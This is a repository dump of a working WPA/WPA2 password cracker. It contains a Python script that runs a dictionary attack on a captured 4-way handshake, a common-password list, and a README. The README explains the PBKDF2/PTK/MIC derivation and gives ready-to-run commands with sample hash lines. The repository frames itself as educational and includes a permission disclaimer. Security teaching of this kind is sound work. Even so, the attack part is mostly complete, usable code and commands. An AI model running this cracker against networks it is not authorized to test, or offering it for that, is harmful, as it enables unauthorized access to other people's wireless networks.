├── .gitattributes ├── LICENSE ├── passlist.txt ├── crack_handshake.py ├── .gitignore └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 zerodayarcade.com 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /passlist.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | password 3 | 12345678 4 | qwerty 5 | 123456789 6 | 12345 7 | 1234 8 | 111111 9 | 1234567 10 | dragon 11 | 123123 12 | baseball 13 | abc123 14 | football 15 | monkey 16 | letmein 17 | 696969 18 | shadow 19 | master 20 | 666666 21 | qwertyuiop 22 | 123321 23 | mustang 24 | 1234567890 25 | michael 26 | 654321 27 | pussy 28 | superman 29 | 1qaz2wsx 30 | 7777777 31 | fuckyou 32 | 121212 33 | 000000 34 | qazwsx 35 | 123qwe 36 | killer 37 | trustno1 38 | jordan 39 | jennifer 40 | zxcvbnm 41 | asdfgh 42 | hunter 43 | buster 44 | soccer 45 | harley 46 | batman 47 | andrew 48 | tigger 49 | hashcat! 50 | sunshine 51 | iloveyou 52 | fuckme 53 | 2000 54 | charlie 55 | robert 56 | thomas 57 | hockey 58 | ranger 59 | daniel 60 | starwars 61 | klaster 62 | 112233 63 | george 64 | asshole 65 | computer 66 | michelle 67 | jessica 68 | pepper 69 | 1111 70 | zxcvbn 71 | 555555 72 | 11111111 73 | 131313 74 | freedom 75 | 777777 76 | pass 77 | fuck 78 | maggie 79 | 159753 80 | aaaaaa 81 | ginger 82 | princess 83 | joshua 84 | cheese 85 | amanda 86 | summer 87 | love 88 | ashley 89 | 6969 90 | nicole 91 | chelsea 92 | biteme 93 | matthew 94 | access 95 | yankees 96 | 987654321 97 | dallas 98 | austin 99 | thunder 100 | taylor 101 | matrix 102 | minecraft -------------------------------------------------------------------------------- /crack_handshake.py: -------------------------------------------------------------------------------- 1 | import hashlib, hmac, sys, struct 2 | 3 | # Default Values 4 | hashline = None 5 | passlist_src="passlist.txt" 6 | 7 | # Pull values from hashline if given (hc22000) 8 | if len(sys.argv) > 1: 9 | hashline=sys.argv[1] 10 | hl = hashline.split("*") 11 | mic = bytes.fromhex(hl[2]) 12 | mac_ap = bytes.fromhex(hl[3]) 13 | mac_cl = bytes.fromhex(hl[4]) 14 | essid = bytes.fromhex(hl[5]) 15 | nonce_ap = bytes.fromhex(hl[6]) 16 | nonce_cl = bytes.fromhex(hl[7][34:98]) # Client Nonce is part of EAPoL Client 17 | eapol_client = bytes.fromhex(hl[7]) 18 | if len(sys.argv) > 2: passlist_src=sys.argv[2] 19 | 20 | # Read passlist.txt into a python list 21 | with open(passlist_src, 'r') as f: 22 | passlist = f.read().splitlines() 23 | 24 | def crack_handshake(mic, mac_ap, mac_cl, essid, nonce_ap, nonce_cl, eapol_client): 25 | print('\033[95m') 26 | print("MIC: ", mic.hex()) 27 | print("SSID: ", essid.decode()) 28 | print("AP MAC Address: ", "%02x:%02x:%02x:%02x:%02x:%02x" % struct.unpack("BBBBBB", mac_ap)) 29 | print("Client MAC Address: ", "%02x:%02x:%02x:%02x:%02x:%02x" % struct.unpack("BBBBBB", mac_cl)) 30 | print("AP Nonce: ", nonce_ap.hex()) 31 | print("Client Nonce: ", nonce_cl.hex()) 32 | print("\nEAPoL Client: ", "\n" + eapol_client.hex()) 33 | print('\x1b[0m') 34 | 35 | proceed = input("Attempt crack with these settings? (y/n): ") 36 | if proceed in ["y", ""]: pass 37 | else: return 38 | print('\033[1m' + '\33[33m' + "Attempting to crack password...\n" + '\x1b[0m') 39 | 40 | # Set order of byte strings (min, max) 41 | def min_max(a, b): 42 | if len(a) != len(b): raise 'Unequal byte string lengths' 43 | for entry in list(zip( list(bytes(a)), list(bytes(b)) )): 44 | if entry[0] < entry[1]: return (a, b) 45 | elif entry[1] < entry[0]: return (b, a) 46 | return (a, b) 47 | 48 | macs = min_max(mac_ap, mac_cl) 49 | nonces = min_max(nonce_ap, nonce_cl) 50 | ptk_inputs = b''.join([b'Pairwise key expansion\x00', 51 | macs[0], macs[1], nonces[0], nonces[1], b'\x00']) 52 | 53 | for password in passlist: 54 | password = password.encode() 55 | pmk = hashlib.pbkdf2_hmac('sha1', password, essid, 4096, 32) 56 | ptk = hmac.new(pmk, ptk_inputs, hashlib.sha1).digest() 57 | try_mic = hmac.new(ptk[:16], eapol_client, hashlib.sha1).digest()[:16] 58 | 59 | if (try_mic == mic): 60 | print('\033[92m' + try_mic.hex(), "- Matches captured MIC\n") 61 | print("Password Cracked!\n" + '\x1b[0m') 62 | print("SSID: ", essid.decode()) 63 | print("Password: ", password.decode(), "\n") 64 | return 65 | print(try_mic.hex()) 66 | 67 | print('\033[91m' + "\nFailed to crack password. " + 68 | "It may help to try a different passwords list. " + '\x1b[0m' + "\n") 69 | 70 | if len(sys.argv) > 1: 71 | crack_handshake(mic, mac_ap, mac_cl, essid, nonce_ap, nonce_cl, eapol_client) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 105 | __pypackages__/ 106 | 107 | # Celery stuff 108 | celerybeat-schedule 109 | celerybeat.pid 110 | 111 | # SageMath parsed files 112 | *.sage.py 113 | 114 | # Environments 115 | .env 116 | .venv 117 | env/ 118 | venv/ 119 | ENV/ 120 | env.bak/ 121 | venv.bak/ 122 | 123 | # Spyder project settings 124 | .spyderproject 125 | .spyproject 126 | 127 | # Rope project settings 128 | .ropeproject 129 | 130 | # mkdocs documentation 131 | /site 132 | 133 | # mypy 134 | .mypy_cache/ 135 | .dmypy.json 136 | dmypy.json 137 | 138 | # Pyre type checker 139 | .pyre/ 140 | 141 | # pytype static type analyzer 142 | .pytype/ 143 | 144 | # Cython debug symbols 145 | cython_debug/ 146 | 147 | # PyCharm 148 | # JetBrains specific template is maintainted in a separate JetBrains.gitignore that can 149 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 150 | # and can be added to the global gitignore or merged into this file. For a more nuclear 151 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 152 | #.idea/ 153 | 154 | **/*.DS_Store 155 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cracking WPA/WPA2 WiFi Passwords from a Captured Handshake 2 | A python script for cracking WPA/WPA2 PSK passwords with a captured handshake. 3 | 4 | For capturing a handshake, see the other repo: Capturing a 4-Way Handshake from WPA/WPA2 WiFi Networks with a Python Script. 5 | 6 | This script can crack WiFi passwords for WPA and WPA2 networks when supplied with information contained within captured packets from a 4-way handshake. In other words when supplied with: 7 | 1. MIC 8 | 2. SSID 9 | 3. MAC address of the Access Point (AP) 10 | 4. MAC address of the Client 11 | 5. Nonce for the AP 12 | 6. EAPoL of Client (which includes Nonce for Client) 13 | 14 | along with a passwords list. 15 | 16 | A sample list of the top 100 passwords is included for testing. In a real world scenario, you'd typically use a much larger list. This script is for demonstration purposes and built for comprehension over speed. It is meant to help those looking to build their own cracking tools get started with a bare-bones example. 17 | 18 | ***Reminder:** Only ever hack a network that you own and have legal permission to hack. Any hacking skills/knowledge gained from this repository should only be used within the context of security research, penetration testing, password recovery, and education.* 19 | 20 | ## Background Information 21 | 22 | When a client machine connects to an access point (AP) such as a wireless router, a 4-way handshake takes place. Packets from this exchange can be captured by a third party listening for packets with a wireless adapter set to monitor or promiscuous mode. Contained within these packets is the information above, which ultimately contains the password to the WiFi network if the network is secured with a PSK. The reason this is not normally an issue is because the password is scrambled through several layers of encryption making the information seemingly useless. 23 | 24 | However, the hashing functions that mask the true password can be used in conjunction with a list of common passwords in order to potentially crack the password and gain unauthorized access to the network. A hacker can take a list of potential passwords and run each one through the same hashing functions the access point uses to see if any produce the same MIC value that was captured in the 4-way handshake. If any of them do, then the hacker knows that they have the correct password. 25 | 26 | Note that this is much different than attempting to login to the network by typing in different passwords and seeing if any of them work. This process happens offline. Once the MIC and other information is obtained from the handshake, the hacker can make as many attempts as they want to find the password without having to interact with the Access Point again until they're ready to connect with the cracked password. 27 | 28 | 29 | ## How the script works 30 | 31 | You can use our WPA/WPA2 Handshake Capture script to obtain a MIC (+Nonces and EAPoL frames) from an AP with a ~$10 WiFi adapter. This will also produce a `WPA*02` hashcat hc22000 format hash line that you can run directly with this script (see below). Alternatively you can obtain this information with hcxdumptool or the ESP32 Wi-Fi Penetration Tool. 32 | 33 | This script (`crack_handshake.py`) does the password cracking that comes after the MIC / Nonces/ EAPoL frames have been obtained from the Access Point. 34 | 35 | To generate a potential matching MIC with a test password from the passwords list, the following steps are taken: 36 | 1. A PMK (Pairwise Master Key) is computed using a cryptographic function called PBKDF2 with the test password and SSID as inputs 37 | 2. A PTK is then calculated from the PMK, the MAC addresses from the AP and Client, and Nonces from the AP and Client as inputs. 38 | 3. A MIC is then computed from the first 16 bytes of the PTK (the KCK), and data from an EAPoL frame. 39 | 40 | In order to crack a password, `crack_handshake.py` simply loops through a list of likely passwords and does the above 3 steps with each test password until a matching MIC is found. It is essentially a less sophisticated, CPU-based way of doing something similar to what hashcat does with a dictionary attack in hash mode 22000 with known MIC + Nonces + EAPoL frames. 41 | 42 | Personally, I like to have short and simple code examples to build off of, or to port to other languages. All of the code uses only standard python libraries. There's only about ~70 total lines of python, and without print statements and spaces it's closer to ~40 lines total. 43 | 44 | ## Running the script 45 | 46 | This script is built to work with hashcat hash lines (hc22000 format) out of the box. For those unfamiliar, these hash lines contain all of the information described above when they start with `WPA*02`. To attempt a crack with one of these hash lines simply run: 47 | ``` 48 | python3 crack_handshake.py """""" 49 | ``` 50 | **IMPORTANT:** When running the script in this manor make sure to use triple quotes around the hash line. Otherwise characters like `*` in the hash line can cause the script to run incorrectly and can cause weird problems in your Terminal. 51 | 52 | Note that `` can be ommited to simply use the sample `passlist.txt` file that comes with this repo. 53 | 54 | The script can also be imported by other python scripts and the `crack_handshake()` function can be supplied with parameters like so: 55 | ``` 56 | crack_handshake(mic, mac_ap, mac_cl, essid, nonce_ap, nonce_cl, eapol_client) 57 | ``` 58 | The function expects each parameter to be a valid byte string. 59 | 60 | ## Getting and Testing the Script: 61 | Clone the project: 62 | ``` 63 | git clone https://github.com/ZeroDayArcade/cracking-wpa-with-handshake.git 64 | ``` 65 | cd into project directory: 66 | ``` 67 | cd cracking-wpa-with-handshake 68 | ``` 69 | Test the script with a hashcat example: 70 | ``` 71 | python3 crack_handshake.py """WPA*02*024022795224bffca545276c3762686f*6466b38ec3fc*225edc49b7aa*54502d4c494e4b5f484153484341545f54455354*10e3be3b005a629e89de088d6a2fdc489db83ad4764f2d186b9cde15446e972e*0103007502010a0000000000000000000148ce2ccba9c1fda130ff2fbbfb4fd3b063d1a93920b0f7df54a5cbf787b16171000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac028000*a2""" passlist.txt 72 | ``` 73 | 74 | Another hashcat example from the hashcat forums (Source): 75 | 76 | ``` 77 | python3 crack_handshake.py """WPA*02*1709ba709b92c3eb7b662036b02e843c*6c5940096fb6*64cc2edaeb52*6c686c64*ca37bb6be93179b0ce86e0f4e393d742fca6854ace6791f29a7d0c0ec1534086*0103007502010a00000000000000000001f09960e32863aa57ba250769b6e12d959a5a1f1cc8939d6bed4401a16092fa72000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00""" 78 | ``` 79 | 80 | Our sample password list is enough to successfully crack both of these examples. And of course you can always supply your own passwords list, or add your own passwords to passlist.txt. 81 | 82 | This script was tested on several versions of Linux including Kali Linux running on a x86-64 Intel machine and Raspian (on a Raspberry Pi 4/ARM processor) as well as on macOS and Windows. It was tested with hashcat examples from the hashcat forums and with real captured frames from a simple penetration test with a weak password. It should work on pretty much everything running Python 3, and was tested with Python 3.7 through 3.11. 83 | 84 | 85 | ## Acknowledgements 86 | `passlist.txt` is a sample list taken from the top 100 most common passwords put together by Daniel Miessler. I've added "hashcat!" to the list for the example hash. See the original list here: 87 | https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt 88 | 89 |
90 | 91 | # More Zero Day Arcade Resources: 92 | **Learn Reverse Engineering, Assembly, Code Injection and More:** 93 | 🎓 zerodayarcade.com/tutorials 94 | 95 | **More WiFi Hacking with Simple Python Scripts:** 96 | Capturing PMKID from WiFi Networks 97 | Cracking WiFi Passwords with PMKID 98 | Capturing 4-Way Handshake from WPA/WPA2 Networks 99 | 100 | 101 | --------------------------------------------------------------------------------